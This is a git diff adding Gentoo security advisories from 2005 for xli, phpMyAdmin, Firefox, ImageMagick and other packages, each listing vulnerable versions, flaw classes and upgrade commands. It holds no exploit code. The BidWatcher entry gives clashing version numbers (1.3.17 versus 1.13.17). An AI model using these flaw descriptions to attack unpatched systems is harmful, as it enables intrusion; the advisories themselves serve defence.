+  <metadata tag="requester" timestamp="Fri, 25 Feb 2005 21:23:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 27 Feb 2005 12:09:41 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-05.xml b/xml/htdocs/security/en/glsa/glsa-200503-05.xml
new file mode 100644
index 00000000..a7defff6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-05.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-05">
+  <title>xli, xloadimage: Multiple vulnerabilities</title>
+  <synopsis>
+    xli and xloadimage are vulnerable to multiple issues, potentially leading
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xli</product>
+  <announced>March 02, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>79762</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xloadimage" auto="yes" arch="*">
+      <unaffected range="ge">4.1-r2</unaffected>
+      <vulnerable range="lt">4.1-r2</vulnerable>
+    </package>
+    <package name="media-gfx/xli" auto="yes" arch="*">
+      <unaffected range="ge">1.17.0-r1</unaffected>
+      <vulnerable range="lt">1.17.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xli and xloadimage are X11 utilities for displaying and manipulating a
+    wide range of image formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team has reported that
+    xli and xloadimage contain a flaw in the handling of compressed images,
+    where shell meta-characters are not adequately escaped. Rob Holland of
+    the Gentoo Linux Security Audit Team has reported that an xloadimage
+    vulnerability in the handling of Faces Project images discovered by
+    zen-parse in 2001 remained unpatched in xli. Additionally, it has been
+    reported that insufficient validation of image properties in xli could
+    potentially result in buffer management errors.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would permit a remote attacker to execute
+    arbitrary shell commands, or arbitrary code with the privileges of the
+    xloadimage or xli user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xli users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xli-1.17.0-r1&quot;</code>
+    <p>
+    All xloadimage users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xloadimage-4.1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0775">CAN-2001-0775</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0638">CVE-2005-0638</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0639">CVE-2005-0639</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 28 Feb 2005 21:34:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Feb 2005 22:05:32 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  2 Mar 2005 16:53:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-06.xml b/xml/htdocs/security/en/glsa/glsa-200503-06.xml
new file mode 100644
index 00000000..eec4b0ec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-06">
+  <title>BidWatcher: Format string vulnerability</title>
+  <synopsis>
+    BidWatcher is vulnerable to a format string vulnerability, potentially
+    allowing arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">bidwatcher</product>
+  <announced>March 03, 2005</announced>
+  <revised>March 03, 2005: 01</revised>
+  <bug>82460</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/bidwatcher" auto="yes" arch="*">
+      <unaffected range="ge">1.3.17</unaffected>
+      <vulnerable range="lt">1.3.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BidWatcher is a free auction tool for eBay users to keep track of
+    their auctions.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered a format string vulnerability in
+    "netstuff.cpp".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers can potentially exploit this vulnerability by
+    sending specially crafted responses via an eBay HTTP server or a
+    man-in-the-middle attack to execute arbitrary malicious code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BidWatcher users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/bidwatcher-1.13.17&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0158">CAN-2005-0158</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  1 Mar 2005 08:44:34 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  1 Mar 2005 15:30:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Mar 2005 20:11:39 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-07.xml b/xml/htdocs/security/en/glsa/glsa-200503-07.xml
new file mode 100644
index 00000000..6b4e54cf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-07.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-07">
+  <title>phpMyAdmin: Multiple vulnerabilities</title>
+  <synopsis>
+    phpMyAdmin contains multiple vulnerabilities that could lead to command
+    execution, XSS issues and bypass of security restrictions.
+  </synopsis>
+  <product type="ebuild">phpMyAdmin</product>
+  <announced>March 03, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>83190</bug>
+  <bug>83792</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1_p2-r1</unaffected>
+      <vulnerable range="lt">2.6.1_p2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL databases from a web-browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpMyAdmin contains several security issues:
+    </p>
+    <ul>
+    <li>Maksymilian Arciemowicz has discovered multiple variable injection
+    vulnerabilities that can be exploited through "$cfg" and "GLOBALS"
+    variables and localized strings</li>
+    <li>It is possible to force phpMyAdmin to disclose information in error
+    messages</li>
+    <li>Failure to correctly escape special characters</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially-crafted request, an attacker can include and
+    execute arbitrary PHP code or cause path information disclosure.
+    Furthermore the XSS issue allows an attacker to inject malicious script
+    code, potentially compromising the victim's browser. Lastly the
+    improper escaping of special characters results in unintended privilege
+    settings for MySQL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.1_p2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-1">PMASA-2005-1</uri>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-2">PMASA-2005-2</uri>
+    <uri link="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1113788&amp;group_id=23067&amp;atid=377408">phpMyAdmin bug 1113788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0543">CVE-2005-0543</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0544">CVE-2005-0544</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0653">CVE-2005-0653</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Mar 2005 21:38:30 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Mar 2005 22:39:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  3 Mar 2005 15:44:32 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-08.xml b/xml/htdocs/security/en/glsa/glsa-200503-08.xml
new file mode 100644
index 00000000..d51300e8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-08.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-08">
+  <title>OpenMotif, LessTif: New libXpm buffer overflows</title>
+  <synopsis>
+    A new vulnerability has been discovered in libXpm, which is included in
+    OpenMotif and LessTif, that can potentially lead to remote code execution.
+  </synopsis>
+  <product type="ebuild">openmotif</product>
+  <announced>March 04, 2005</announced>
+  <revised>March 04, 2005: 01</revised>
+  <bug>83655</bug>
+  <bug>83656</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/openmotif" auto="yes" arch="*">
+      <unaffected range="ge">2.2.3-r3</unaffected>
+      <unaffected range="rge">2.1.30-r9</unaffected>
+      <vulnerable range="lt">2.2.3-r3</vulnerable>
+    </package>
+    <package name="x11-libs/lesstif" auto="yes" arch="*">
+      <unaffected range="ge">0.94.0-r2</unaffected>
+      <vulnerable range="lt">0.94.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LessTif is a clone of OSF/Motif, which is a standard user
+    interface toolkit available on Unix and Linux. OpenMotif also provides
+    a free version of the Motif toolkit for open source applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Gilbert discovered potentially exploitable buffer overflow
+    cases in libXpm that weren't fixed in previous libXpm security
+    advisories.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A carefully-crafted XPM file could crash applications making use
+    of the OpenMotif or LessTif toolkits, potentially allowing the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenMotif users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose x11-libs/openmotif</code>
+    <p>
+    All LessTif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/lesstif-0.94.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0605">CAN-2005-0605</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Mar 2005 21:43:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  3 Mar 2005 09:21:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  3 Mar 2005 21:47:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-09.xml b/xml/htdocs/security/en/glsa/glsa-200503-09.xml
new file mode 100644
index 00000000..8cf107bb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-09">
+  <title>xv: Filename handling vulnerability</title>
+  <synopsis>
+    xv contains a format string vulnerability, potentially resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xv</product>
+  <announced>March 04, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>83686</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xv" auto="yes" arch="*">
+      <unaffected range="ge">3.10a-r10</unaffected>
+      <vulnerable range="lt">3.10a-r10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xv is an interactive image manipulation package for X11.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team identified a flaw
+    in the handling of image filenames by xv.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a victim to process a specially
+    crafted image with a malformed filename, potentially resulting in the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xv-3.10a-r10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0665">CVE-2005-0665</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Mar 2005 21:42:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Mar 2005 22:55:00 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  3 Mar 2005 21:51:14 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-10.xml b/xml/htdocs/security/en/glsa/glsa-200503-10.xml
new file mode 100644
index 00000000..09165f36
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-10.xml
@@ -0,0 +1,141 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-10">
+  <title>Mozilla Firefox: Various vulnerabilities</title>
+  <synopsis>
+    Mozilla Firefox is vulnerable to a local file deletion issue and to various
+    issues allowing to trick the user into trusting fake web sites or
+    interacting with privileged content.
+  </synopsis>
+  <product type="ebuild">Firefox</product>
+  <announced>March 04, 2005</announced>
+  <revised>March 04, 2005: 01</revised>
+  <bug>83267</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1</unaffected>
+      <vulnerable range="lt">1.0.1</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1</unaffected>
+      <vulnerable range="lt">1.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is the popular next-generation browser from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in Mozilla
+    Firefox:
+    </p>
+    <ul>
+    <li>Michael Krax reported that plugins can be used
+    to load privileged content and trick the user to interact with it
+    (CAN-2005-0232, CAN-2005-0527)</li>
+    <li>Michael Krax also reported
+    potential spoofing or cross-site-scripting issues through overlapping
+    windows, image drag-and-drop, and by dropping javascript: links on tabs
+    (CAN-2005-0230, CAN-2005-0231, CAN-2005-0591)</li>
+    <li>Daniel de Wildt
+    and Gael Delalleau discovered a memory overwrite in a string library
+    (CAN-2005-0255)</li>
+    <li>Wind Li discovered a possible heap overflow in
+    UTF8 to Unicode conversion (CAN-2005-0592)</li>
+    <li>Eric Johanson
+    reported that Internationalized Domain Name (IDN) features allow
+    homograph attacks (CAN-2005-0233)</li>
+    <li>Mook, Doug Turner, Kohei
+    Yoshino and M. Deaudelin reported various ways of spoofing the SSL
+    "secure site" indicator (CAN-2005-0593)</li>
+    <li>Matt Brubeck reported
+    a possible Autocomplete data leak (CAN-2005-0589)</li>
+    <li>Georgi
+    Guninski discovered that XSLT can include stylesheets from arbitrary
+    hosts (CAN-2005-0588)</li>
+    <li>Secunia discovered a way of injecting
+    content into a popup opened by another website (CAN-2004-1156)</li>
+    <li>Phil Ringnalda reported a possible way to spoof Install source with
+    user:pass@host (CAN-2005-0590)</li>
+    <li>Jakob Balle from Secunia
+    discovered a possible way of spoofing the Download dialog source
+    (CAN-2005-0585)</li>
+    <li>Christian Schmidt reported a potential
+    spoofing issue in HTTP auth prompt tab (CAN-2005-0584)</li>
+    <li>Andreas
+    Sanblad from Secunia discovered a possible way of spoofing the Download
+    dialog using the Content-Disposition header (CAN-2005-0586)</li>
+    <li>Finally, Tavis Ormandy of the Gentoo Linux Security Audit Team
+    discovered that Firefox insecurely creates temporary filenames in
+    /tmp/plugtmp (CAN-2005-0578)</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <ul>
+    <li>By setting up malicious websites and convincing users to
+    follow untrusted links or obey very specific drag-and-drop or download
+    instructions, attackers may leverage the various spoofing issues to
+    fake other websites to get access to confidential information, push
+    users to download malicious files or make them interact with their
+    browser preferences.</li>
+    <li>The temporary directory issue allows
+    local attackers to overwrite arbitrary files with the rights of another
+    local user.</li>
+    <li>The overflow issues, while not thought to be
+    exploitable, may allow a malicious downloaded page to execute arbitrary
+    code with the rights of the user viewing the page.</li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.1&quot;</code>
+    <p>
+    All Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1156">CAN-2004-1156</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0230">CAN-2005-0230</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0231">CAN-2005-0231</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0232">CAN-2005-0232</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0233">CAN-2005-0233</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0255">CAN-2005-0255</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0527">CAN-2005-0527</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0578">CAN-2005-0578</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0584">CAN-2005-0584</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0585">CAN-2005-0585</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0586">CAN-2005-0586</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0588">CAN-2005-0588</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0589">CAN-2005-0589</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0590">CAN-2005-0590</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0591">CAN-2005-0591</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0592">CAN-2005-0592</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0593">CAN-2005-0593</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html">Mozilla Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri,  4 Mar 2005 10:53:24 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  4 Mar 2005 12:44:33 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-11.xml b/xml/htdocs/security/en/glsa/glsa-200503-11.xml
new file mode 100644
index 00000000..469e3865
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-11">
+  <title>ImageMagick: Filename handling vulnerability</title>
+  <synopsis>
+    A format string vulnerability exists in ImageMagick that may allow an
+    attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">ImageMagick</product>
+  <announced>March 06, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>83542</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.2.0.4</unaffected>
+      <vulnerable range="lt">6.2.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a collection of tools and libraries for manipulating a
+    wide variety of image formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team has identified a
+    flaw in the handling of filenames by the ImageMagick utilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation may disrupt web applications that depend on
+    ImageMagick for image processing, potentially executing arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.2.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0397">CVE-2005-0397</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Mar 2005 21:44:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Mar 2005 22:24:40 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Mar 2005 13:03:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-12.xml b/xml/htdocs/security/en/glsa/glsa-200503-12.xml
new file mode 100644
index 00000000..339c99e0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-12.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-12">
+  <title>Hashcash: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerability in the Hashcash utility could allow an
+    attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">Hashcash</product>
+  <announced>March 06, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>83541</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/hashcash" auto="yes" arch="*">
+      <unaffected range="ge">1.16-r1</unaffected>
+      <vulnerable range="lt">1.16-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Hashcash is a utility for generating Hashcash tokens, a proof-of-work
+    system to reduce the impact of spam.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team identified a flaw
+    in the Hashcash utility that an attacker could expose by specifying a
+    malformed reply address.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would permit an attacker to disrupt Hashcash
+    users, and potentially execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Hashcash users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/hashcash-1.16-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0687">CVE-2005-0687</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Mar 2005 21:44:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Mar 2005 22:42:04 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Mar 2005 10:00:09 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-13.xml b/xml/htdocs/security/en/glsa/glsa-200503-13.xml
new file mode 100644
index 00000000..574616c9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-13.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-13">
+  <title>mlterm: Integer overflow vulnerability</title>
+  <synopsis>
+    mlterm is vulnerable to an integer overflow, which could potentially allow
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mlterm</product>
+  <announced>March 07, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>84174</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-terms/mlterm" auto="yes" arch="*">
+      <unaffected range="ge">2.9.2</unaffected>
+      <vulnerable range="lt">2.9.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mlterm is a multi-lingual terminal emulator.
+    </p>
+  </background>
+  <description>
+    <p>
+    mlterm is vulnerable to an integer overflow that can be triggered by
+    specifying a large image file as a background. This only effects users
+    that have compiled mlterm with the 'gtk' USE flag, which enables
+    gdk-pixbuf support.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can create a specially-crafted image file which, when used
+    as a background by the victim, can lead to the execution of arbitrary
+    code with the privileges of the user running mlterm.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Re-compile mlterm without the 'gtk' USE flag.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mlterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/mlterm-2.9.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="https://sourceforge.net/project/shownotes.php?release_id=310416">mlterm ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0686">CVE-2005-0686</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat,  5 Mar 2005 16:23:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Mar 2005 10:05:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  7 Mar 2005 01:52:03 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-14.xml b/xml/htdocs/security/en/glsa/glsa-200503-14.xml
new file mode 100644
index 00000000..f7588ac1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-14">
+  <title>KDE dcopidlng: Insecure temporary file creation</title>
+  <synopsis>
+    The dcopidlng script is vulnerable to symlink attacks, potentially allowing
+    a local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">dcopidlng</product>
+  <announced>March 07, 2005</announced>
+  <revised>March 07, 2005: 01</revised>
+  <bug>81652</bug>
+  <access>local</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
